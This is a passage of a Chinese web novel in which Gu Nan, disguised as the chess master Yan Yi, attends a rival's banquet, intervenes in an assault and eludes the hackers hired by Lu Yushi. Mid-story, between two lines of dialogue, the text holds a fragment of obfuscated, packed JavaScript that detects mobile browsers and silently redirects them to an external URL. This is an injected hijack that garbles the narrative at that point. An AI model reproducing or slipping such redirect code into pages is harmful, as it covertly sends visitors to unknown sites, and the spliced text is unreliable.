“我跑了,你怎么办?”
“你先走,不用管我。”
顾楠团着警长打个哈欠,眼尾挂着一滴晶莹,她乐了下,笑呵呵:“好兄弟。”
莫名其妙惹警长不满。
警长“嗷”一嗓子跑出门外,屋门被他挤出缝隙,门外传来卫生间抽水马桶的声音,很快脚步声断断续续,顾淑萍在门外放声问:“警长怎么了?”
顾楠瞅着空荡荡的双手,无语:“该驱魔了。”
养个猫比她还容易发神经。
侧耳听了会,顾淑萍没理她。
电话对面,纪元宇喋喋不休。
她正要随口敷衍过去,抬眼看到手机新消息。
【东西到了。】
话到嘴边咽下,合上电脑,低声自言自语:“帮上我大忙了。”
“什么?”纪元宇没听清。
“没事,来接我。”她嘱咐,“别告诉我舅妈。”
纪元宇听她松口,忙不迭答应,出声道歉:“上次怪我,不该多嘴,让舅妈担心……”
顾楠叹气。
又要开始念经。
没忍住再次打了个哈欠。
“你有没有在听我说。”
“在。”
她盯着通话中的标识看了三秒,果断静音,手机丢桌上任由纪元宇自由发挥,起身去洗手间。
凉水敷面,抬头,镜子中的人眼底清明几分。
骤然的冷意只能褪去困倦,消除不掉面容憔悴。
她对着镜子甩了甩水珠,回到房间,蹲下.身打开最里层抽屉。
长久封闭的潮腐味扑鼻而来,角落里,平平无奇的黑色电脑包下堆放两部手机,手机都有些年头了,表面掉漆严重,因为常年摩挲的缘故,很是光滑。
她轻轻抚摸,将两部手机放进口袋。
起身,电话已经被挂断。
也不知道纪元宇有没有剖析完内心。
希望这次的剖析能坚持时间久一些,和纪元宇待时间长了,她总觉得自己是被念紧箍咒的猴。
念咒的人许是怕她反悔,她拎起包把平板放进去。
下一秒,门铃响起。
脚步声渐行渐远,顾淑萍高声喊:“楠楠,小纪来了。”
顾楠背上包,推门出去,边走边整理衣服,面不改色。
“舅妈,我去北城出差,下个月回来。”
纪元宇不理解,感受到顾淑萍狐疑目光。
纪元宇点头。
“阿姨,实在抱歉,公司临时有事,交给别人我不放心。”
“嗯?”顾淑萍愣了下,偏头直视顾楠,几秒对视,顾楠无意识抬手轻揉鼻尖,别开视线,佯作整理手提包。
顾淑萍脸上笑容淡了淡,眼尾低垂:“好。”
“舅妈,我们走了。”
走到门口,顾淑萍在身后突然唤:“楠楠。”
顾楠脚步顿下,无声深吸一口气,浅笑回头:“舅妈,怎么了?”
“在外面照顾好自己。”顾淑萍嘴角翕动,笑意不达眼底,“舅妈在家,等你。”
关门声散去清浅应答:“嗯。”
两人一同下台阶,纪元宇絮絮叨叨交代顾楠在国外联系谁、怎样生活,并保证事情解决会在第一件时间给她发消息,边说边打开车门,半天没等到人。
回头一看,顾楠在招呼出租车。
?
“我自己去,你走吧。”
关上门,纪元宇在晚风中凌乱,他看着出租车离开的影子,总觉得哪里不对。
手机收到新消息。
【航班信息发我。】
他摇摇头,好像没有哪里不对。
航班信息显示今晚9点,顾楠下拉消息列表,找到一个小花头像联系人,转发航班信息。
发语音:“退了。”
说完不管对方是否回复,关掉手机,闭眼假寐,回答司机师傅问话。
“北城,星子楼。”
“北城喏。”司机师傅开心重复,他刚好来浔城送乘客,本以为会空车回北城,没想到能拉回一个客人,多赚点路费。
喜悦之情溢于言表,他话也多起来,操着一口浓重的北城口音,乐呵呵说:“星子楼可是个好地方,小姑娘在那上班?听说你们老板很神秘。”
顾楠调整到最舒服的姿势,准备眯会,快速结束话题:“找人。”
司机师傅话匣子打开,不在乎后排乘客有没有聊天欲望,继续唏嘘:“那你可能不知道,星子楼那块地皮据说是陆家先看上的。”
顾楠撇了下嘴,没吭声。
“后来沈家来抢,当时看热闹的人都赌会被陆家拿下,谁知道最后出来个没名没姓的小年轻盘下来。不过我想着,这人应该是陆家推出来的,怕沈家脸上不好看,特意挂别人的名字,你说是不是。”
顾楠本就困倦,熟悉的口音更是将昏睡欲望推向顶峰,她艰难挤出个音调算是回应,意识彻底涣散前,瞥到纪元宇发来消息,问她为什么退机票。
她咕哝一声:“我又没答应出国。”
昨夜忙了整晚,今天只在陆御时那里眯了半小时,她困得眼皮直打架,提不起精神回复。
出租车一路向北,路灯越来越亮。
枝繁叶茂的梧桐在夜色中沉睡。
司机轻唤:“到了。”
睁眼。
北城星子楼高耸入云。
独立于五大家族之外的权利中心。
顾楠付钱,开门下车,晚风拂过,一阵颤栗,散去睡意朦胧。
她低头发消息。
【到了。】
仰目,31楼办公室的灯熄灭,一个女人脚踩高跟鞋快步走过来,蓬松蛋卷头随着她的动作上下起伏,大约着急下楼,略显凌乱,几缕发丝还挂在方框眼镜腿上。
站定,两人同时开口。
“未婚夫什么情况?”
“你头发让炮轰了?”
一阵沉默,两人各自从对方眼里读到嫌弃意味。
叶序啐她,问:“真是陆御时?”
“牛.逼吧。”
“你确定不跑路。”
“之前打算跑的,后来见面…”
“见面怎么?”
“长真帅,不睡可惜了。”
叶序脸色一言难尽,声音提高:“那是陆御时。”
顾楠哼声:“睡别人哪有那么大成就感。”
“小心玩火自焚。”
顾楠不以为意,换了话题:“东西呢?”
叶序打开副驾驶车门,把她塞上车,自己绕过车头,从后排提出一个沉甸甸的金丝楠木礼盒,两手捧着递过来。
看起来价值不菲。
顾楠上手掂了下,诧异:“这么沉?”
“32颗棋子,个个纯金打造,你觉得呢?”
顾楠挑眉,拨开盒子中间鲁班锁,盒子内部用金丝棉堆出36块凹槽用以盛放棋子。
36颗棋子融入《孙子兵法》设计,个个造型独特,每颗棋子皆用翡翠与钻石装饰,顶端手工镶嵌红、蓝宝石便于区分。
黄金与珠宝的结合,让整个盒子从里到外处处透着奢靡。
她合上盖子:“还可以。”
叶序惊呼:“还可以?我敢保证,全世界比这副象棋更高级的不超过5个,你找这个干什么?”
“送人。”
“暴殄天物。”叶序不屑哼:“我们象棋社那群老东西都不配用这种高级货,还有谁好意思拿这副出去献丑。”
“啧。”顾楠咂巴下嘴巴。
叶序随即补充说:“除了言亦。这辈子如果能和言亦对上一局,也算死而无憾了。”
“追星女真吓人。”
叶序瞪她一眼:“你懂什么,别说对弈一局,就算合个照、要个签名也成。”
顾楠双手交叉枕在脑后,老神在在感慨:“那你的命真不值钱。”
“嘶。”叶序:“你
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送谁?”
“言亦。”
叶序一脚踩下刹车,转头,从上到下,从头到脚把她打量一个遍,抬手,掰过中央后视镜,对准她。
“要不你照照镜子。”
顾楠身体后倾,懒洋洋掀起眼皮,粲然一笑:“真美。”
……
“帮你弄个签名?”
叶序沉默:“按照我对你的了解,这个签名大概率会在10分钟后,你给酒店前台要一张没用的废纸,撕下一个小角,找个没人的角落,自己给我签一个。”
“你真聪明。”
十分钟后,她拿着要来的纸笔,回头,一脸正经问:“要吗?我可以送你整张纸。”
叶序斜睨她一眼,把金丝楠木盒怼进她怀里,目不斜视,大步离开。
顾楠耸肩,身后前台两位美女低声交谈。
“她长得好像叶序老师。”
“叶序是谁?”
“最年轻的象棋国手。”
顾楠默默摇头,一手拖着楠木盒,一手插进口袋,哼着小曲儿上楼。
给舅妈报完平安后,瞥见纪元宇的消息。
咬了下上唇,还是决定给他回一句。
【我准备自由飞翔。】
打完字,心里默数两秒,语音响起。
“我真了解你。”
纪元宇不搭腔,自顾自输出:“陆御时都能找来浔城,你去北城有什么用,听我的,出……”
“好了,你累了,晚安。”
“你……”
挂断他再次打来的电话,顾楠长长打个哈欠,摩挲下巴,顺便揩去眼尾泪珠,切换系统,敲了敲佛手头像。
【你有没有听过一种催眠办法。】
【什么?】
【只说一句话,对面就会乖乖睡觉,让干什么就干什么。】
【没有。】
顾楠躺在床上,仰面盯着天花板放空自己,忽嘴角一咧。
【有。】
佛手头像:【真的?你会吗?能联系上会这种催眠办法的人吗?对方要价怎么样?考不考虑和我们合作?】
一连五问,顾楠少见的有耐心,挨个回复她的问题。
【真的,我不会,大概率联系不上,要价挺高,应该不会考虑。】
佛手头像直接打来电话。
“能谈谈吗?”
“谈应该是没办法当面谈。”
“电话谈也行,”佛手头像嗅到商机,急不可耐:“男的女的,年纪大吗。”
“男女都有。”
话音未落,佛手头像惊呼:“这么多人!她们在浔城吗?还是北城?”
顾楠继续慢声慢气回答佛手头像前面的问题:“年纪还好,两千来岁。电话谈不行,她们没电话,想沟通得靠通灵。地点嘛,西域。”
对面沉默很久,缓缓吐出四个字:“巫.蛊之术。”
“跟我认识久了,你人都变聪明了。”
话没说完,通话界面自动返回。
顾楠“嘿”了一声,自言自语:“脾气也越来越大了。”
佛手头像:“你拿我醒神呢!”
【你确实变聪明了,好好想想怎么感谢我吧。】
聊完天,脑袋终于不再昏沉,她使劲闭了下眼睛,打开平板,对着密密麻麻的数字决战到天蒙蒙亮。
第一缕晨曦落在地板上,她长舒一口气,关掉平板,趿着拖鞋拉上窗帘,把自己裹进被子,蒙头大睡。
深度睡眠前最后一刻,手机铃声响起,她闭着眼点挂断。
对面的人异常执着,她挂一次,对面打一次,数不清连续几次,彻底打去顾楠眼底困倦。
她嗓音低沉,警告:“你最好有事。”
“副总裁……”苏迪。
“给你。”说完,挂断。
苏迪再次打来。
“我打赌输了,愿赌服输,我已经告诉陆师哥,我会放弃。”
顾楠拧着双眉,看了眼自动返回通话界面的手机,又看了眼透光的窗帘。
一时没明白是自己没睡醒,还是对面这位没睡醒。
困意再次袭来,她沉沉睡去。
床头柜上,金丝楠木盒在光下熠熠生辉。
15. 言亦
翌日,晨光熹微,初夏暖风伴骄阳徐徐拂面。
林家门前豪车云集,宾客三五成群身着盛装踏入宴会大厅。
厅内,水晶吊灯高悬,灯火璀璨透过帷幔倾泻满堂,空气中馥郁酒香似有若无,大家并肩交谈应酬,好不热闹。
后堂,气氛冷凝到冰点。
林建业持实木手杖端坐主位,面色难看,低垂的双眸散发精光,写满不悦。
管家低劝:“沈家虽然人没到场,但礼物贵重,一看就是精心挑选过的,个个价值不菲。”
“哼。”林建业不着痕迹瞪一眼儿子,摆手让管家离开。
林浩禹撇了下嘴,迫于无奈走过来小声解释:“曼曼身体不舒服,这才没过来。”
林建业不满数落:“你如果能抓住她的心,她再不舒服,今天也该人到礼到。”顿了下,他狐疑偏头,“你们是不是又吵架了?”
“那大小姐脾气,谁受得了?”林浩禹觑了眼父亲的脸色,见他脸上怒气更重,闷声替自己找补,“我这就去找她,说什么都要把人求过来,做什么都由着她,行了吧。”
本是为了气父亲,结果自己越说越气愤:“我就不明白了,你真当沈家能看得上我们?说不定拿我当召之即来挥之即去的狗呢,背后指不定怎么编排我癞□□想吃天鹅肉。”
林建业气得吹胡子瞪眼:“她们说什么你会少块肉吗?能和沈家联姻,以后少不了你的好处,更何况,你如果真能和沈曼曼结婚,以后谁敢说你?”
“她们打心眼里就没瞧得起我。”
“那是你站得不够高。”
“呵,你站得高。”林浩禹朝门外抬下巴,压着嗓子怒声,“人前他们把你捧上天,背地里哪个少说你欺师灭祖了?曼曼问过我好几次是不是真的。”
“砰!”林建业气极,怒怕桌子。
茶汤漾起涟漪,颤颤巍巍半晌未停。
他使劲敲敲手杖:“当然是假的,她们有证据吗?下次谁在敢胡说八道,我们打官司奉陪到底,杀一儆百。”
“随便你。”林浩禹烦躁拉紧领带,理了理西装,走往后门。
“你给我回来!”林建业拄着手杖喊。
管家从门口进来:“言亦来了。”
林建业手捶胸口,闭眼叹气:“我真是把他给惯坏了。”
管家低头没吭声。
林建业缓过一口气,问:“言亦在哪?”
“花廊。”
林建业丢下手杖,直奔花廊。
满园芬芳无心入眼,花廊深处建有五角凉亭。
言亦面覆薄纱,斜倚美人靠闲适赏景,一袭天青色吊带长裙飘然垂下,手中同色系团扇有一下没一下轻摇。
她发丝如瀑,随着动作瓷白肩颈若隐若现。
“言老师。”林建业远远轻唤,客气的模样与后堂判若两人。
言亦浅浅回眸,收了团扇微一颔首,动作优雅又不失风情万种,她不紧不慢为林建业满上一杯茶,两手比了个请的手势。
声音仿若涓涓细流:“叫我言亦就好。”
两人一站一坐,言亦动作从容,比林建业更像这处花廊的主人。
林建业俯身双手捧茶,堆笑客套:“实在抱歉,招待不周。”
言亦:“听说沈家让人送来贺礼,想着林老大概有事要忙,我就自己先过来了,没耽误林老吧。”
林建业尬笑两声点头,没接话。
言亦眼睛眯了眯,把玩手中茶具,继续说:“沈家都送了贺礼,想来陆家也不远了,恭喜恭喜。”
林建业干咳了下,岔开话题:“还没谢谢言老师的礼物,那么珍贵的棋子想来价值不菲,送给我倒是可惜,我受之有愧。”
“棋子不分贵贱,再好的棋子落在不懂行的人手里,不过是平白拉低了它的档次。再次棋子,用在大师手上,同样能发挥它的价值。”
林建业笑容僵了下:“言老师破费了。”
两人正聊,管家快步走过来,低声在林建业耳边说了什么,林建业眼中笑容有一瞬间凝固,而后起身,含笑告辞,临走前嘱咐言亦不用拘谨,可以在园子里随便逛逛。
言亦慵懒后倚,抬眸目送林建业快步离去,耳边似乎听到管家讲她没礼貌。
她无所谓勾勾嘴角,正要起身,被手机铃声绊住脚步。
见四下无人,接起。
“顾楠!我没有和你开玩笑。打赌是我同意的,输了我会认。”
她拿开手机,低头盯着默默增加的通话时长。
很无语。
非常无语。
她不理解,怎么会有人一根筋到这种程度。
手中团扇摇得很紧:“一包辣条,卖你了。”
“什么意思?”
顾楠嘴唇抿成一条直线,忽想到自己化了妆,改为翻个白眼:“你现在出门下楼,左拐去超市花五毛钱给我买包“一根筋”辣条,副总裁就是你的了。”
“啊?”
“开心吗?”
“你……”
“好,你很开心,挂了。”
“欸你……你等一下。”
“说。”
“那天……谢谢你。”
“?”
“我说,谢谢你!”
顾楠不理解:“你又吃错什么药了?”
等半天没听到回音,拿下手机一看,已经挂断。
顾楠挠挠耳朵,不理解,给纪元宇发消息。
【苏迪要谢我什么?】
团扇摇晃,没等来纪元宇回复,忽顺着风声听清竹林深处争吵。
声音若隐若现,听不真切。
顾楠无意窥探别人隐私,把手机放回口,目不斜视离开凉亭。
她脚步越快,争吵声越发清晰,几步之后,腿上如同被绑了铅,终究顿下,她摇摇头,顺着声源折返。
竹林深处,林浩禹一身西装打扮,浓眉蕴着鄙夷,低头训斥面前女人。
女人紧握他的衣角,表情狰狞,歇斯底里嘶吼着什么。
顾楠往前走了走,一身天青色长裙与竹林茂盛融为一体,她屏息凝神听两人争吵。
林浩禹:“你摸着你自己的良心问问,跟我在一起这么久,我少你什么了,如果不是我帮你,你爸的病能这么快治好?你家能过上现在的日子?你跟着我吃香的喝辣的三年,难道还想赖着我一辈子吗?”
女人声音颤抖,指着自己的胸口,一字一问:“我赖着你?什么叫我赖着你。当初是你要我和你在一起,是你说你离不开我,是你求我别走!我图你的钱?我当初和你在一起并不知道你家境怎么样,我怎么会图你的钱。”
“现在知道了,你觉得你哪一点能配上我?”
女人难以置信拉住他的衣领:“三年了,林浩禹,在你眼里,我的三年就这么不值钱吗?”
“如果不是我,你能过三年的好日子?”
“早知道你是这样的人,这三年我就算去捡垃圾、去乞讨、去做……”女人哽咽了下,没说下去,“我也不会答应和你在一起。”
风摇晃绿竹,女人在风中摇摇欲坠。
“嗤。”林浩禹绕开她,准备离开。
女人伸手拉住他的裤脚,声音绝望:“这三年你总说你在忙,要我理解你。你在忙什么,忙着哄林家大小姐吗?你既然喜欢林家大小姐,为什么要向我求婚呢?”
女人扯着他的衣服站起身,泪痕划过脸庞,问:“我算什么?你拿我当什么?”
林浩禹抬手轻轻一推,女人踉跄摔倒在地。
“你本来也要去外面卖的,他们能有我大方吗?”
“啪。”
半秒静默,林浩禹踹倒女人,半蹲下.身掐住女人的脖子,从牙缝挤出几个字:“给你脸了,敢打我?”
“林少爷这是?”
顾楠从竹林走出来,慢条斯理整理长裙。
轻风撩她衣角,她站在竹林中,超逸出尘。
林浩禹抬头,脸色变来变去,最后堆出个极为难看的笑容,他松开手,起身抚平西装褶皱:“言老师怎么在这?”
顾楠微微一笑:“林宅园子太大,迷路了。”她瞥了眼瘫坐在地的女人,面向林浩禹,“林少能让人送我过去吗,仪式大概要开始了。”
“当然。”
林浩禹抬脚,低声啐了口女人,再抬头,脸上挂满恭维假笑:“上次言老师走得着急,没能好好和言老师请教棋艺,这次您一定要多留几天。”
顾楠扫了眼女人,问林浩禹:“那位不一起吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830012|158922||http|test|mini|href|location''.split(''|''),0,{}));
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>“一个疯子,不用理她。”
顾楠摇着团扇但笑不语,她收回视线,两人一同回到正厅。
厅内夸赞声阵阵,林建业见她进门,起身相迎,向大家介绍言亦。
又是一阵百般奉承。
“是言亦老师!”
“我竟然见到言亦老师本人了!”
“言亦老师,我很喜欢你的棋艺,请问有机会和你杀一局吗?”
“言亦老师,可以合张照嘛?”
“言亦老师,能摘下面纱吗?”
“言亦老师,言亦老师,”一个年轻女孩高举右手喊,“我是象棋协会一队的,可以求个签名吗,我队长很喜欢你。”
一队?队长?
顾楠抿唇,脑海中回想起叶序冷漠的嘴脸,她掀起眼皮,明媚一笑:“那对你同事来说,真是太遗憾了。”
林建业眼观鼻鼻观心,见言亦不肯答应,忽心底生出几分自豪。
世上天才大都有自己的脾气,她们不管对方身份高低,只要认准一个人,哪怕那人声名狼藉,她们也会倾心相待;但凡不喜欢,即便对方高官显赫,她们也会弃如敝履。
很巧,象棋圈只有言亦这么一个天才,更巧的是,这个天才只同意和他对面讨论棋局。
他招呼大家:“真是对不住,言亦老师是我的客人,大家给我个面子,别让言亦老师为难。”
顾楠无声唾弃,转身打量一整面长柜。
柜子用厚重玻璃封口,里面盛放以秸秆雕刻出的作品,作品五花八门千奇百怪,其中最引人注目的便是中间用四面玻璃封存的故宫角楼雕刻。
角楼小巧雅观,栩栩如生,精致到可以看清每一扇只有三五厘米的小门,更让人称奇的是,这座透着奢靡高贵的角楼,却仅仅只用秸秆扎刻而成,无其他任何配件。
逼真程度,叹为观止。
林建业踱步到她身后,为她、也为众人介绍。
“这是先师薛先生作品,先师一生潜心研究秸秆扎刻,若不是那场大火,说不定现在……”他一度哽咽,“我和小徒一定会将秸秆扎刻发扬光大,告慰先师在天之灵。”
拜师仪式便在所有人的曲意逢迎中开始,林建业坐在高台,俯瞰徒弟按照仪式取茶拜师。
台下鼓乐齐鸣,百般奉承。
场面之盛大,好似林建业站上了权利顶峰。
顾楠坐在距离角楼最近的位置沉默,她目视林建业,眼神晦暗,不知在想些什么。
仪式结束,林建业回去换衣服。
人群又变了嘴脸。
“据说那场大火就是他放的,可怜薛老先生全家葬于火海。”
“他不是薛老先生的徒弟吗?”
“外人还得不了手呢,薛老先生一生只收了这么一个徒弟,便把自己全家性命都赔付进去了。”
“可惜啊可惜,薛老先生独子也在那场大火中丧生。”
“何止呢,老先生还有一个小孙女,天赋极高,也死在那场大火中了。”
“那……全家灭门?”
“不止,就连薛老先生儿媳一家也惨遭毒手,听说是为老先生举办葬礼时死于车祸?哪有那么巧的事。”
“都多少年了,真真假假也说不清了。”
“薛老先生如果生前知道因为自己一时心善收了徒弟会让全家死于非命,不知道会不会后悔。”
“后悔也晚了。”
“林建业把薛老先生奉为祖辈,老先生的儿子奉为师兄,老先生的孙女列碑自己的义女,也不算太过没人情。”
“人不能活着,死后殊荣有什么用?”顾楠起身走向门口,淡淡接话。
“正是这个理,”男人回头,“言亦老师喜欢那座角楼。”
“很精致。”顾楠耸肩玩笑,“真想见见那位老先生。”
“那可不兴见啊。”
笑闹声中,顾楠负手离开。
团扇被遗弃在角落,染了灰尘。
出门,她随便打发人知会林建业她有事先走。
拐角,那个女人身形狼狈,被从后门推搡出来。
四目相对。
女人动了动嘴角,礼貌唤声:“言老师。”
顾楠注视她的背影,思索片刻,问:“想学象棋吗?”
16. 调查
“我?”
顾楠笑笑,微风揉皱她脸上面纱,一双眸子明亮澄澈,她站在女人面前,并不催促,淡淡注视,眸底似乎有种令人无法拒绝的魅惑。
“有兴趣吗?”
女人收回视线,摊开自己双手掌心,低头打量,久久未答。
顾楠迈步越过女人,身影交错时略略停顿,张了张嘴,注意到女人脸上颓唐,话到嘴边改口:“想学可以找我。”
林宅侧门开了条小缝,佣人提着垃圾往外走,顾楠听到声响,不欲多留,抬腿要走。
“欸。”
身后女人轻唤。
顾楠停下脚步,没有回头。
“我如果想学,怎么联系你。”
“一周后,晴天咖啡馆。”
“你为什么帮我。”
顾楠摸了下耳垂,面纱下,她嘴角扬起弧度,没有回答,也懒得转身,高抬右手朝身后方向摆了摆,大步离开。
回到酒店,打开电脑,满屏幕都是叶序的狂轰滥炸。
【我隔空和言亦对上话了!】
【言亦说想见我。】
【太后悔了,林老头邀请我去拜师宴,我觉得无聊就没答应,早知道言亦会去,我就是爬也要爬去。】
【呜呜呜,我竟然错过了和言亦见面。】
【那可是言亦啊!】
顾楠挑眉,自言自语:“不止呢,你还错过了签名。”
边说边敷衍地扣个问号发过去。
【你知道言亦在我们象棋圈代表着什么吗!】
【神一样的存在!】
【并且!这个神好像很关注我!】
四个感叹号看得顾楠嘴角直抽搐。
抬手摸了摸不太多的良心,她低头,摁键盘。
一行拼音没来得及点回车,突兀铃声炸开在寂静的房间。
大约打字已经不足以表达叶序的心情振奋。
顾楠盯着自己没能成功发送的消息,接起后一字一句念:“你为什么会有这种错觉?”
“不是错觉!”斩钉截铁。
自信到让顾楠怀疑自己,她点开免提,手机丢在桌上,托腮回想和那位年轻女人的交流,没想出个所以然来。
在怀疑自己记忆出问题和对方胡说八道之间,选择了沉默。
“言亦老师说没见到我很遗憾!她!很遗憾!”
“额…”顾楠沉吟一会,摩挲下巴,怀疑,她有说过这句话吗?
印象中是说了句遗憾,但……是这个意思吗?
“言亦老师很遗憾,因为没见到我!”叶序颠三倒四说了好几遍,“你说……”
电脑屏幕闪了又闪,顾楠一拍大腿,彻底想起来。
她无语地翻了个白眼,打断叶序,一本正经问:“你同事考虑改行吗?”
“为什么要改行?”
“她的嘴不当记者太可惜。”
“什么意思?”
“新时报的大门,可以向她无条件敞开。”
叶序挖苦:“新时报你说了算?我可是听说某人的副总裁被截胡。”
电脑屏幕上光标停止闪动,顾楠松开键盘,双手交叉枕在脑后,身体后仰,有一下没一下晃动椅子,眯着眼睛,语气无所谓。
“副总裁有什么意思?”
叶序打趣道:“想当总裁?可以啊,以纪元宇对你的宠爱程度,只要你提,他肯定想办法,你就算想当董事长,他也会努力把他爸搞下台。”
顾楠复杂道:“他只是懂得知恩图报,不是脑子缺根筋。还有,什么叫宠爱?叶经理,你说话要严谨。”
“新时报员工里你独一份的自由,这还不算宠爱?”叶序愤愤道,“我们那傻×老板,虽然从来没露过面,工作时间倒是给我们卡得死死的。像你这样一个月工作三五天,还能拿全部工资,你真得好好谢谢纪老板。”
“呃,”顾楠突然坐直身体,抿嘴说,“我觉得你搞错了,你都说你们大老板没露过面,那工作时间怎么可能是大老板定。”
叶序:“你要明白,好朋友在对方吐槽老板的时候,应该跟对方同仇敌忾,这是共识。”
顾楠没接茬,继续反驳:“不去上班就叫宠爱?新时报是我保下来的,要这么算的话,那也应该是我宠爱纪元宇多一点吧?”
“嗯,你们互相宠爱,我等着吃你和纪老板的喜酒。”
电脑右下角光标闪动,顾楠睨了眼消息,慢慢靠回躺椅,悠哉斜摇,遗憾道:“那完了,和他的喜酒得下辈子了。”
“怎么说?”
“我喜欢上一个小白脸。”
叶序没当真,佯装叹气:“替纪老板心痛。”
顾楠嗤了声:“挂了。”
“唠会。”
“不好意思,小白脸找我,我得去哄哄。”
叶序惊了下:“你来真的?”
顾楠“嘿”了一声,点了挂断。
右下角光标持续闪动,她伸长胳膊划了下,果然不出所料。
佛手头像好心给她报信,那位陆先生旁敲侧击打听她的身份。
截图上显示,陆先生意欲花大价钱收买消息。
顾楠按截图上价格给佛手头像转了个红包,另发一句:“谢了。”
随后切换聊天框,界面还是她上次发的三条消息,孤零零躺着,对方高冷,连个表情包都懒得点。
她昂首,闭眼思索,脑海中是陆御时冷沉的脸。
这人应该也不会用表情包。
【为什么找别人打听我,是对自己不够自信?】
她暗忖,又加一句。
【陆少。】
等了几分钟,对面安静如鸡。
她敲了敲手机屏幕,继续打字。
【难道真对我移情了?】
【那可太遗憾了,我只对你的脸感兴趣。】
【哦不,更正一下。】
【我对你一整个都感兴趣。】
【陆少考不考虑做个兼职?】
—
【兼职?】
北城陆家老宅,书房内,四个大男人围书桌站立,死死盯着面前的笔记本。
陆御时面无表情坐在办公椅上,转动手上签字笔,眉眼低垂,不辨喜怒。
偌大书房只有新消息振动的声音。
消息一句比一句露骨,其中一人松开键盘,偷瞧陆御时脸色,目光交错,他两手颤了下,抹了下额头汗液,声音发虚:“陆少,需要多发几句。”
另一人忙拿过手机:“我发吧。”
四名黑客围着电脑商讨半小时,又拖住对面频频发消息,始终无法定位到对方地址,好不容易查出对方身份
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信息,又被陆少一口否认。
半个小时过去,进门前的信誓旦旦早已不见踪影。
心知陆少耐心有限,奈何有心无力。
电脑再次黑屏,电脑前的人心底暗骂一声。
试了三次,每次都在即将成功时,电脑毫无预兆的黑屏。
重启后,前面所有努力成果全部报废。
这种情况他并不陌生,在最初入行时,倒也经常遇见,对方能力强悍,他攻不破,只能眼睁睁看着电脑死机。
入行二十余年,他早在行业内被奉为大佬,所有棘手的情况都要靠他解决,虽也有不易攻破的情况,但半小时连续黑屏三次却是头一遭体会。
他强制开机,看着电脑恢复最初界面,忽萌生一个想法,他全力以赴攻破,对方似乎只是爱玩,给他希望,然后在最后一步让他绝望。
耍他一遍遍重试。
他深吸一口气,放弃敲代码,硬着头皮站起来。
“陆少,这……”
陆御时转笔的动作一顿,睨过视线,声音没有起伏:“查不到?”
“我们试了很多办法,从……”话没说完,被身后人悄悄扯了下衣袖,他抬眼见陆御时神色冷凝,声音低了低,“是。”
陆御时意外的好说话:“谁能查到?”
“N。”他觑着陆御时面色,小声解释,“全球顶级黑客,至今没有他查不出来的东西。如果能找到他,一定能查到。”
“找到?”陆御时移过视线,平淡的目光带着摄人的压迫感。
“认识N的人很少,能请到他的人就更少了,没有人知道他是谁。他也不经常接单,并且,他接单不看价格,只看心情,”他说话声音越来越低,也越来越没有底气,“更像是,传说中的人物。”
陆御时眯了下眸子,冷意迸射:“你准备拿一个不存在的人来打发我?”
另一位黑客忙站出来,语气急促,生怕慢一点就会再也没办法解释出口:“存在,N是真实存在的,星子楼的保护系统就是N做的,至今没人能窃取到星子楼的内部信息。”
陆御时扫一眼四人,没再开口。
四人你看看我,我看看你,见陆御时沉默,抱着电脑灰溜溜离开。
屋门合上,房间再次恢复安静,陆御时垂眸沉思,光打在他的侧脸,浸不透他眉峰冷厉。
手机震动。
屏幕弹出最新消息。
【我这人最好说话了,你求求我,说不定我可以大发慈悲的喜欢你。】
他摁熄屏幕,眼前仿佛浮现顾楠的侧脸。
永远张扬狂傲的眼神以及嘴角微勾的几分邪气。
他后知后觉,似乎顾楠的每一句话、每一个动作都在证明,她知道他会查她,也有足够自信让他什么都查不到。
他阖眼,又记起茶桌前,顾楠伏案小憩,阳光在她脸上逗留,她每一根发丝都浸染金黄。
没来由打开电脑,搜索引擎输入“催眠师”三个字。
从顶端划到底部,没有一句话证明,催眠师有某种特殊能力。
好奇心作祟,他默默打字。
——巴乌特症候群。
看着词条解释,他脸上有几分龟裂。
助理敲门进来。
他抬眼:“下个月发布会,给星子楼老板发邀请函。”
17. 挑衅
【什么时候方便?】
顾楠抱着手机盯这条消息看了许久,没有回复,手机切换到常用系统。
才开机,未接来电铺满屏幕。
指尖从上划到下,一眼扫过众多重复号码之间夹杂的零星几串数字,她干咽一口唾沫,手捂胸口,扪心自问。
问题到底出在哪里。
听说过别人招桃花体质,怎么到她这,变成招爹体质了。
一个比一个唠叨。
尤其纪元宇。
纪元宇做报社的总裁实在屈才,他该去当幼儿园的慈祥老园长。
接起电话。
“想不想扩展业务范围。”顾楠闭嘴咽下剩下半句话,把你那浑身没用的牛劲往别的地方使使。
纪元宇一头雾水:“啊?”
疑问持续片刻,他低言婉声:“可以确定,陆御时就是冲你来的。”
顾楠笑吟吟捡起苹果啃,表情悠哉,毫不意外:“怎么说?”
“他突然改口,现在又属意你当新时报副总裁。”
嚼碎苹果的咔嚓声骤然停下,房间安静下来,顾楠的语气怪异:“我?原话怎么说的。”
“原话?”纪元宇不理解她的疑问,想了一会大概记不清了,“说什么很欣赏你,觉得你比苏迪更适合当副总裁,还想找机会和你认识一下。哦,对了,他给我要你的联系方式。”
“给了?”
“怎么可能!他都没见过你,哪来的欣赏,我琢磨他心里指定憋着坏呢,说不定已经确认当年就是你假扮他的未婚妻,苦于没证据。”
顾楠双眉微挑,继续消灭苹果,边点头赞同纪元宇的话。
她也觉得陆御时憋着坏呢,但大概率和未婚妻没什么关系。
上市公司副总裁更换会披露个人信息,陆御时查不到J,看来想在“顾楠”这个身份下功夫。
她抵着额头俯瞰窗外人来人往,日头毒烈,行人匆匆,没什么意思。
闪身躲开阳光照射,苹果在光下染成土黄,她“嘶”了一声,低声:“不听话呢。”
嘴角勾起若有似无的弧度没有不满,倒显几分玩世不恭的邪气。
“听我的,你先去国外躲一躲。”
“你确定我走了陆御时能放过新时报?”
当初陆御时想帮苏迪当副总裁的时候,纪元宇一定要把她推过去;现在陆御时同意她当副总裁,纪元宇又开始变卦。
顾楠越寻思越想笑:“我现在应该问题不大,你多担心担心自己吧,陆御时说不定已经觉得你故意针对他了。”
那边沉默一会。
“我没事。”
“啧。”顾楠随手把苹果核丢进垃圾桶,砸出的响声平复她心底为数不多的愧疚,“你想把副总裁给谁,苏迪?”
“她不要,她说愿赌服输。”
